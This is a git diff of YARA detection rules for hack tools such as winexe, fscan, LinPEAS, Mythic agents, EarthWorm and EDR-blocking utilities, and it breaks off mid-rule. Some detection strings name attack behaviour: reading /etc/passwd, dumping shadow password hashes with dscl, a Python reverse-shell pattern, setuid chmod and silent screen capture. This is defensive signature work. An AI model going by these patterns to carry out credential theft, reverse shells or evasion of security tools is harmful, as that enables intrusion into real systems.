b/HackTool/Linux/WinExeExecution/HackTool_Linux_WinExeExecution_BA.yar deleted file mode 100644 index ba2ec65734..0000000000 --- a/HackTool/Linux/WinExeExecution/HackTool_Linux_WinExeExecution_BA.yar +++ /dev/null @@ -1,20 +0,0 @@ - -rule HackTool_Linux_WinExeExecution_BA{ - meta: - description = "HackTool:Linux/WinExeExecution.BA,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 0a 00 00 " - - strings : - $a_00_0 = {77 00 69 00 6e 00 65 00 78 00 65 00 } //5 winexe - $a_00_1 = {2f 00 2f 00 } //2 // - $a_00_2 = {2d 00 75 00 20 00 } //1 -u - $a_00_3 = {2d 00 2d 00 75 00 73 00 65 00 72 00 3d 00 } //1 --user= - $a_00_4 = {2d 00 2d 00 72 00 75 00 6e 00 61 00 73 00 3d 00 } //1 --runas= - $a_00_5 = {2d 00 61 00 20 00 } //1 -a - $a_00_6 = {2d 00 2d 00 61 00 75 00 74 00 68 00 65 00 6e 00 74 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2d 00 66 00 69 00 6c 00 65 00 3d 00 } //1 --authentication-file= - $a_00_7 = {2f 00 61 00 69 00 72 00 66 00 6c 00 6f 00 77 00 2f 00 } //-20 /airflow/ - $a_00_8 = {77 00 69 00 6e 00 65 00 78 00 65 00 20 00 2d 00 55 00 20 00 64 00 61 00 74 00 61 00 68 00 75 00 62 00 25 00 } //-20 winexe -U datahub% - $a_00_9 = {61 00 69 00 72 00 66 00 6c 00 6f 00 77 00 20 00 74 00 61 00 73 00 6b 00 20 00 72 00 75 00 6e 00 6e 00 65 00 72 00 3a 00 } //-20 airflow task runner: - condition: - ((#a_00_0 & 1)*5+(#a_00_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*-20+(#a_00_8 & 1)*-20+(#a_00_9 & 1)*-20) >=8 - -} \ No newline at end of file diff --git a/HackTool/MacOS/Fscan/HackTool_MacOS_Fscan_C_MTB.yar b/HackTool/MacOS/Fscan/HackTool_MacOS_Fscan_C_MTB.yar new file mode 100644 index 0000000000..1cde8f87e9 --- /dev/null +++ b/HackTool/MacOS/Fscan/HackTool_MacOS_Fscan_C_MTB.yar @@ -0,0 +1,16 @@ + +rule HackTool_MacOS_Fscan_C_MTB{ + meta: + description = "HackTool:MacOS/Fscan.C!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {50 77 64 43 72 61 63 6b 53 63 61 6e } //1 PwdCrackScan + $a_01_1 = {53 63 61 6e 57 69 74 68 50 72 6f 62 65 73 46 6f 72 43 72 61 63 6b } //1 ScanWithProbesForCrack + $a_01_2 = {54 61 72 67 65 74 57 65 62 53 63 61 6e 46 6f 72 46 69 6e 67 65 72 41 6e 64 50 6f 63 } //1 TargetWebScanForFingerAndPoc + $a_01_3 = {47 65 74 48 6f 73 74 43 72 61 63 6b 49 70 73 } //1 GetHostCrackIps + $a_01_4 = {49 6e 73 65 72 74 50 77 64 43 72 61 63 6b 44 42 } //1 InsertPwdCrackDB + $a_01_5 = {47 65 74 50 77 64 43 72 61 63 6b 54 61 62 44 61 74 61 } //1 GetPwdCrackTabData + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/HackTool/MacOS/Gost/HackTool_MacOS_Gost_B_MTB.yar b/HackTool/MacOS/Gost/HackTool_MacOS_Gost_B_MTB.yar new file mode 100644 index 0000000000..30f1b4cb92 --- /dev/null +++ b/HackTool/MacOS/Gost/HackTool_MacOS_Gost_B_MTB.yar @@ -0,0 +1,14 @@ + +rule HackTool_MacOS_Gost_B_MTB{ + meta: + description = "HackTool:MacOS/Gost.B!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_01_0 = {67 6f 2d 67 6f 73 74 2f 63 6f 72 65 2f 6c 6f 67 67 65 72 2e 4c 6f 67 67 65 72 5d 29 2e 49 73 52 65 67 69 73 74 65 72 65 64 } //1 go-gost/core/logger.Logger]).IsRegistered + $a_01_1 = {6d 61 69 6e 2e 62 75 69 6c 64 41 50 49 53 65 72 76 69 63 65 2e 41 63 63 65 73 73 4c 6f 67 4f 70 74 69 6f 6e 2e 66 75 6e 63 32 } //1 main.buildAPIService.AccessLogOption.func2 + $a_01_2 = {67 6f 73 74 2f 78 2f 68 61 6e 64 6c 65 72 2f 74 75 6e 6e 65 6c 2e 70 61 72 73 65 54 75 6e 6e 65 6c 49 44 } //1 gost/x/handler/tunnel.parseTunnelID + $a_01_3 = {67 6f 2d 67 6f 73 74 2f 72 65 6c 61 79 2e 4e 65 77 50 72 69 76 61 74 65 54 75 6e 6e 65 6c 49 44 } //1 go-gost/relay.NewPrivateTunnelID + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/HackTool/MacOS/Ioxproxy/HackTool_MacOS_Ioxproxy_A_MTB.yar b/HackTool/MacOS/Ioxproxy/HackTool_MacOS_Ioxproxy_A_MTB.yar new file mode 100644 index 0000000000..c27f03d273 --- /dev/null +++ b/HackTool/MacOS/Ioxproxy/HackTool_MacOS_Ioxproxy_A_MTB.yar @@ -0,0 +1,15 @@ + +rule HackTool_MacOS_Ioxproxy_A_MTB{ + meta: + description = "HackTool:MacOS/Ioxproxy.A!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {69 6f 78 2f 6e 65 74 69 6f 2e 46 6f 72 77 61 72 64 55 44 50 } //1 iox/netio.ForwardUDP + $a_01_1 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 6c 6f 63 61 6c 32 4c 6f 63 61 6c 55 44 50 } //1 iox/operate.local2LocalUDP + $a_01_2 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 72 65 6d 6f 74 65 32 72 65 6d 6f 74 65 54 43 50 } //1 iox/operate.remote2remoteTCP + $a_01_3 = {69 6f 78 2f 6e 65 74 69 6f 2e 46 6f 72 77 61 72 64 55 6e 63 6f 6e 6e 65 63 74 65 64 55 44 50 } //1 iox/netio.ForwardUnconnectedUDP + $a_01_4 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 73 65 72 76 65 72 48 61 6e 64 73 68 61 6b 65 } //1 iox/operate.serverHandshake + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/HackTool/MacOS/LinPeas/HackTool_MacOS_LinPeas_B_MTB.yar b/HackTool/MacOS/LinPeas/HackTool_MacOS_LinPeas_B_MTB.yar new file mode 100644 index 0000000000..2d5bdde6c9 --- /dev/null +++ b/HackTool/MacOS/LinPeas/HackTool_MacOS_LinPeas_B_MTB.yar @@ -0,0 +1,14 @@ + +rule HackTool_MacOS_LinPeas_B_MTB{ + meta: + description = "HackTool:MacOS/LinPeas.B!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {2f 50 45 41 53 53 2d 6e 67 2f 73 68 32 62 69 6e 2f 73 68 32 62 69 6e 2e 67 6f } //1 /PEASS-ng/sh2bin/sh2bin.go + $a_01_1 = {2f 6f 70 74 2f 68 6f 73 74 65 64 74 6f 6f 6c 63 61 63 68 65 2f 67 6f 2f 31 2e 31 37 2e 30 2d 72 63 31 2f 78 36 34 2f 73 72 63 2f 66 6d 74 2f 73 63 61 6e 2e 67 6f } //1 /opt/hostedtoolcache/go/1.17.0-rc1/x64/src/fmt/scan.go + $a_01_2 = {48 8b 54 24 68 48 8b 74 24 50 48 8b 7c 24 48 48 8b 44 24 70 48 89 f9 48 8b 5c 24 30 49 39 c8 0f 8d 08 01 00 00 0f 83 2f 01 00 00 4c 89 44 24 28 49 c1 e0 04 4c 89 44 24 40 42 8b 1c 06 48 89 d0 e8 cc c9 04 00 48 89 84 24 90 00 00 00 48 8b 4c 24 40 48 8b 54 24 50 8b 5c 0a 04 48 8b 44 24 68 } //1 + $a_01_3 = {49 89 d5 48 29 f2 48 83 c2 14 48 89 54 24 58 4c 8d 7e ec 4c 89 f8 49 c1 ff 3f 4c 21 fe 4c 8d bc 34 94 00 00 00 48 39 d7 73 3f 48 89 44 24 70 4c 89 bc 24 28 01 00 00 4c 89 6c 24 68 48 8d 05 bb a3 09 00 4c 89 c3 4c 89 e9 48 89 d6 e8 2d f0 03 00 4c 8b 6c 24 68 4c 8b bc 24 28 01 00 00 49 89 c0 48 89 cf 48 8b 44 24 70 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/HackTool/MacOS/MythicAgent/HackTool_MacOS_MythicAgent_X.yar b/HackTool/MacOS/MythicAgent/HackTool_MacOS_MythicAgent_X.yar new file mode 100644 index 0000000000..8937723f45 --- /dev/null +++ b/HackTool/MacOS/MythicAgent/HackTool_MacOS_MythicAgent_X.yar @@ -0,0 +1,16 @@ + +rule HackTool_MacOS_MythicAgent_X{ + meta: + description = "HackTool:MacOS/MythicAgent.X,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_00_0 = {4d 79 74 68 69 63 41 67 65 6e 74 } //1 MythicAgent + $a_00_1 = {70 6f 73 65 69 64 6f 6e 2f 50 61 79 6c 6f 61 64 } //1 poseidon/Payload + $a_00_2 = {68 74 74 70 5f 69 6e 69 74 69 61 6c 5f 63 6f 6e 66 69 67 3d } //1 http_initial_config= + $a_00_3 = {70 72 6f 78 79 5f 62 79 70 61 73 73 3d } //1 proxy_bypass= + $a_00_4 = {53 65 6e 64 46 69 6c 65 54 6f 4d 79 74 68 69 63 } //1 SendFileToMythic + $a_00_5 = {73 75 64 6f 5f 70 6f 73 65 69 64 6f 6e } //1 sudo_poseidon + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/HackTool/MacOS/MythicAthena/HackTool_MacOS_MythicAthena_I.yar b/HackTool/MacOS/MythicAthena/HackTool_MacOS_MythicAthena_I.yar new file mode 100644 index 0000000000..fd68192d14 --- /dev/null +++ b/HackTool/MacOS/MythicAthena/HackTool_MacOS_MythicAthena_I.yar @@ -0,0 +1,16 @@ + +rule HackTool_MacOS_MythicAthena_I{ + meta: + description = "HackTool:MacOS/MythicAthena.I,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {41 74 68 65 6e 61 2e 64 6c 6c } //1 Athena.dll + $a_00_1 = {40 5f 67 73 73 5f 61 63 71 75 69 72 65 5f 63 72 65 64 5f 77 69 74 68 5f 70 61 73 73 77 6f 72 64 } //1 @_gss_acquire_cred_with_password + $a_00_2 = {68 61 63 6b 69 73 68 43 6c 61 73 73 4e 61 6d 65 } //1 hackishClassName + $a_00_3 = {40 5f 6b 69 6c 6c } //1 @_kill + $a_00_4 = {40 5f 67 65 74 68 6f 73 74 6e 61 6d 65 } //1 @_gethostname + $a_00_5 = {40 5f 67 65 74 65 75 69 64 } //1 @_geteuid + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspAccountDiscovery/HackTool_MacOS_SuspAccountDiscovery_A1.yar b/HackTool/MacOS/SuspAccountDiscovery/HackTool_MacOS_SuspAccountDiscovery_A1.yar new file mode 100644 index 0000000000..c753a0c668 --- /dev/null +++ b/HackTool/MacOS/SuspAccountDiscovery/HackTool_MacOS_SuspAccountDiscovery_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspAccountDiscovery_A1{ + meta: + description = "HackTool:MacOS/SuspAccountDiscovery.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {63 00 61 00 74 00 20 00 2f 00 65 00 74 00 63 00 2f 00 70 00 61 00 73 00 73 00 77 00 64 00 } //10 cat /etc/passwd + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_A1.yar b/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_A1.yar new file mode 100644 index 0000000000..9aa190e9e5 --- /dev/null +++ b/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspCredDump_A1{ + meta: + description = "HackTool:MacOS/SuspCredDump.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {6c 00 61 00 7a 00 61 00 67 00 6e 00 65 00 [0-80] 2f 00 74 00 6d 00 70 00 2f 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_B1.yar b/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_B1.yar new file mode 100644 index 0000000000..c084b7e051 --- /dev/null +++ b/HackTool/MacOS/SuspCredDump/HackTool_MacOS_SuspCredDump_B1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspCredDump_B1{ + meta: + description = "HackTool:MacOS/SuspCredDump.B1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {64 00 73 00 63 00 6c 00 20 00 2e 00 20 00 72 00 65 00 61 00 64 00 [0-80] 64 00 73 00 41 00 74 00 74 00 72 00 54 00 79 00 70 00 65 00 4e 00 61 00 74 00 69 00 76 00 65 00 3a 00 53 00 68 00 61 00 64 00 6f 00 77 00 48 00 61 00 73 00 68 00 44 00 61 00 74 00 61 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspFileCreation/HackTool_MacOS_SuspFileCreation_P1.yar b/HackTool/MacOS/SuspFileCreation/HackTool_MacOS_SuspFileCreation_P1.yar new file mode 100644 index 0000000000..8e5c68792e --- /dev/null +++ b/HackTool/MacOS/SuspFileCreation/HackTool_MacOS_SuspFileCreation_P1.yar @@ -0,0 +1,14 @@ + +rule HackTool_MacOS_SuspFileCreation_P1{ + meta: + description = "HackTool:MacOS/SuspFileCreation.P1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_00_0 = {63 00 68 00 6d 00 6f 00 64 00 20 00 } //5 chmod + $a_00_1 = {2b 00 73 00 } //5 +s + $a_00_2 = {34 00 37 00 37 00 37 00 } //5 4777 + $a_00_3 = {34 00 37 00 35 00 35 00 } //5 4755 + condition: + ((#a_00_0 & 1)*5+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5+(#a_00_3 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspPolicyDiscovery/HackTool_MacOS_SuspPolicyDiscovery_A1.yar b/HackTool/MacOS/SuspPolicyDiscovery/HackTool_MacOS_SuspPolicyDiscovery_A1.yar new file mode 100644 index 0000000000..b71935f867 --- /dev/null +++ b/HackTool/MacOS/SuspPolicyDiscovery/HackTool_MacOS_SuspPolicyDiscovery_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspPolicyDiscovery_A1{ + meta: + description = "HackTool:MacOS/SuspPolicyDiscovery.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {70 00 77 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 67 00 65 00 74 00 61 00 63 00 63 00 6f 00 75 00 6e 00 74 00 70 00 6f 00 6c 00 69 00 63 00 69 00 65 00 73 00 } //10 pwpolicy getaccountpolicies + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspReverseShell/HackTool_MacOS_SuspReverseShell_A1.yar b/HackTool/MacOS/SuspReverseShell/HackTool_MacOS_SuspReverseShell_A1.yar new file mode 100644 index 0000000000..f8fbd2ce94 --- /dev/null +++ b/HackTool/MacOS/SuspReverseShell/HackTool_MacOS_SuspReverseShell_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspReverseShell_A1{ + meta: + description = "HackTool:MacOS/SuspReverseShell.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {73 00 6f 00 63 00 6b 00 65 00 74 00 [0-ff] 2e 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 [0-ff] 70 00 74 00 79 00 2e 00 73 00 70 00 61 00 77 00 6e 00 28 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspScreenCapture/HackTool_MacOS_SuspScreenCapture_A1.yar b/HackTool/MacOS/SuspScreenCapture/HackTool_MacOS_SuspScreenCapture_A1.yar new file mode 100644 index 0000000000..41b7819326 --- /dev/null +++ b/HackTool/MacOS/SuspScreenCapture/HackTool_MacOS_SuspScreenCapture_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspScreenCapture_A1{ + meta: + description = "HackTool:MacOS/SuspScreenCapture.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {73 00 63 00 72 00 65 00 65 00 6e 00 63 00 61 00 70 00 74 00 75 00 72 00 65 00 20 00 2d 00 78 00 20 00 2f 00 74 00 6d 00 70 00 2f 00 } //10 screencapture -x /tmp/ + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspSharedResourceDiscovery/HackTool_MacOS_SuspSharedResourceDiscovery_A1.yar b/HackTool/MacOS/SuspSharedResourceDiscovery/HackTool_MacOS_SuspSharedResourceDiscovery_A1.yar new file mode 100644 index 0000000000..5336a823e7 --- /dev/null +++ b/HackTool/MacOS/SuspSharedResourceDiscovery/HackTool_MacOS_SuspSharedResourceDiscovery_A1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspSharedResourceDiscovery_A1{ + meta: + description = "HackTool:MacOS/SuspSharedResourceDiscovery.A1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {73 00 6d 00 62 00 75 00 74 00 69 00 6c 00 20 00 76 00 69 00 65 00 77 00 20 00 2d 00 67 00 20 00 2f 00 2f 00 } //10 smbutil view -g // + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B1.yar b/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B1.yar new file mode 100644 index 0000000000..0fbe0a0979 --- /dev/null +++ b/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B1.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspSoftwareDiscovery_B1{ + meta: + description = "HackTool:MacOS/SuspSoftwareDiscovery.B1,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {70 00 6c 00 69 00 73 00 74 00 62 00 75 00 64 00 64 00 79 00 [0-80] 2f 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 2f 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 2e 00 61 00 70 00 70 00 2f 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 73 00 2f 00 69 00 6e 00 66 00 6f 00 2e 00 70 00 6c 00 69 00 73 00 74 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B2.yar b/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B2.yar new file mode 100644 index 0000000000..ecfc6fa4aa --- /dev/null +++ b/HackTool/MacOS/SuspSoftwareDiscovery/HackTool_MacOS_SuspSoftwareDiscovery_B2.yar @@ -0,0 +1,11 @@ + +rule HackTool_MacOS_SuspSoftwareDiscovery_B2{ + meta: + description = "HackTool:MacOS/SuspSoftwareDiscovery.B2,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {70 00 6c 00 69 00 73 00 74 00 62 00 75 00 64 00 64 00 79 00 [0-80] 2f 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 2f 00 73 00 61 00 66 00 61 00 72 00 69 00 2e 00 61 00 70 00 70 00 2f 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 73 00 2f 00 69 00 6e 00 66 00 6f 00 2e 00 70 00 6c 00 69 00 73 00 74 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/Win32/CMConfigUpdate/HackTool_Win32_CMConfigUpdate.yar b/HackTool/Win32/CMConfigUpdate/HackTool_Win32_CMConfigUpdate.yar index 77a357e1cf..b47d949064 100644 --- a/HackTool/Win32/CMConfigUpdate/HackTool_Win32_CMConfigUpdate.yar +++ b/HackTool/Win32/CMConfigUpdate/HackTool_Win32_CMConfigUpdate.yar @@ -1,11 +1,13 @@ rule HackTool_Win32_CMConfigUpdate{ meta: - description = "HackTool:Win32/CMConfigUpdate,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + description = "HackTool:Win32/CMConfigUpdate,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 00 " strings : $a_02_0 = {69 00 6d 00 70 00 6f 00 72 00 74 00 2d 00 63 00 6d 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 69 00 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 [0-30] 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 6e 00 61 00 6d 00 65 00 [0-20] 69 00 70 00 [0-30] 6d 00 61 00 63 00 61 00 64 00 64 00 72 00 65 00 73 00 73 00 } //1 + $a_00_1 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_2 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo condition: - ((#a_02_0 & 1)*1) >=1 + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*-1000+(#a_00_2 & 1)*-1000) >=1 } \ No newline at end of file diff --git a/HackTool/Win32/Earthworm/HackTool_Win32_Earthworm_ME_MTB.yar b/HackTool/Win32/Earthworm/HackTool_Win32_Earthworm_ME_MTB.yar new file mode 100644 index 0000000000..a714b36056 --- /dev/null +++ b/HackTool/Win32/Earthworm/HackTool_Win32_Earthworm_ME_MTB.yar @@ -0,0 +1,15 @@ + +rule HackTool_Win32_Earthworm_ME_MTB{ + meta: + description = "HackTool:Win32/Earthworm.ME!MTB,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 05 00 00 " + + strings : + $a_01_0 = {72 6f 6f 74 6b 69 74 65 72 } //10 rootkiter + $a_01_1 = {45 61 72 74 68 57 72 6f 6d } //3 EarthWrom + $a_01_2 = {45 61 72 74 68 57 6f 72 6d } //3 EarthWorm + $a_01_3 = {43 4f 4e 46 49 52 4d 5f 59 4f 55 5f 41 52 45 5f 53 4f 43 4b 5f 43 4c 49 45 4e 54 } //1 CONFIRM_YOU_ARE_SOCK_CLIENT + $a_01_4 = {73 73 6f 63 6b 73 64 } //1 ssocksd + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*3+(#a_01_2 & 1)*3+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=15 + +} \ No newline at end of file diff --git a/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EA.yar b/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EA.yar new file mode 100644 index 0000000000..9f1b7468e6 --- /dev/null +++ b/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EA.yar @@ -0,0 +1,24 @@ + +rule HackTool_Win32_Edrblok_EA{ + meta: + description = "HackTool:Win32/Edrblok.EA,SIGNATURE_TYPE_PEHSTR_EXT,2e 00 2e 00 0e 00 00 " + + strings : + $a_03_0 = {d1 57 8d c3 66 c7 [0-05] a7 05 66 c7 [0-05] 33 4c [0-06] 90 90 4f 7f bc [0-06] ee e6 0e 82 } //20 + $a_03_1 = {87 1e 8e d7 66 c7 [0-05] 44 86 66 c7 [0-05] a5 4e [0-06] 94 37 d8 09 [0-06] ec ef c9 71 } //10 + $a_03_2 = {3b 39 72 4a 66 c7 [0-05] 9f 31 66 c7 [0-05] bc 44 [0-06] 84 c3 ba 54 [0-06] dc b3 b6 b4 } //10 + $a_80_3 = {4d 73 4d 70 45 6e 67 } //MsMpEng 1 + $a_80_4 = {4d 73 53 65 6e 73 65 } //MsSense 1 + $a_80_5 = {53 65 6e 73 65 49 52 } //SenseIR 1 + $a_80_6 = {53 65 6e 73 65 4e 64 72 } //SenseNdr 1 + $a_80_7 = {53 65 6e 73 65 43 6e 63 50 72 6f 78 79 } //SenseCncProxy 1 + $a_80_8 = {53 65 6e 73 65 53 61 6d 70 6c 65 55 70 6c 6f 61 64 65 72 } //SenseSampleUploader 1 + $a_80_9 = {55 6e 69 74 54 65 73 74 } //UnitTest -100 + $a_80_10 = {53 65 6e 73 65 43 6f 6d 6d 6f 6e } //SenseCommon -100 + $a_80_11 = {53 65 6e 73 65 2e 43 6f 6d 6d 6f 6e } //Sense.Common -100 + $a_80_12 = {42 61 72 72 61 63 75 64 61 } //Barracuda -100 + $a_80_13 = {63 75 64 61 6e 61 63 73 76 63 } //cudanacsvc -100 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*10+(#a_03_2 & 1)*10+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*-100+(#a_80_10 & 1)*-100+(#a_80_11 & 1)*-100+(#a_80_12 & 1)*-100+(#a_80_13 & 1)*-100) >=46 + +} \ No newline at end of file diff --git a/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EB.yar b/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EB.yar new file mode 100644 index 0000000000..ab19c983c6 --- /dev/null +++ b/HackTool/Win32/Edrblok/HackTool_Win32_Edrblok_EB.yar @@ -0,0 +1,25 @@ + +rule HackTool_Win32_Edrblok_EB{ + meta: + description = "HackTool:Win32/Edrblok.EB,SIGNATURE_TYPE_PEHSTR_EXT,2f 00 2f 00 0f 00 00 " + + strings : + $a_01_0 = {87 1e 8e d7 44 86 a5 4e 94 37 d8 09 ec ef c9 71 } //20 + $a_01_1 = {d1 57 8d c3 a7 05 33 4c 90 4f 7f bc ee e6 0e 82 } //10 + $a_01_2 = {3b 39 72 4a 9f 31 bc 44 84 c3 ba 54 dc b3 b6 b4 } //10 + $a_80_3 = {4d 73 4d 70 45 6e 67 } //MsMpEng 1 + $a_80_4 = {4d 73 53 65 6e 73 65 } //MsSense 1 + $a_80_5 = {53 65 6e 73 65 49 52 } //SenseIR 1 + $a_80_6 = {53 65 6e 73 65 4e 64 72 } //SenseNdr 1 + $a_80_7 = {53 65 6e 73 65 43 6e 63 50 72 6f 78 79 } //SenseCncProxy 1 + $a_80_8 = {53 65 6e 73 65 53 61 6d 70 6c 65 55 70 6c 6f 61 64 65 72 } //SenseSampleUploader 1 + $a_80_9 = {53 65 44 65 62 75 67 50 72 69 76 69 6c 65 67 65 } //SeDebugPrivilege 1 + $a_80_10 = {55 6e 69 74 54 65 73 74 } //UnitTest -100 + $a_80_11 = {53 65 6e 73 65 43 6f 6d 6d 6f 6e } //SenseCommon -100 + $a_80_12 = {53 65 6e 73 65 2e 43 6f 6d 6d 6f 6e } //Sense.Common -100 + $a_80_13 = {42 61 72 72 61 63 75 64 61 } //Barracuda -100 + $a_80_14 = {63 75 64 61 6e 61 63 73 76 63 } //cudanacsvc -100 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*-100+(#a_80_11 & 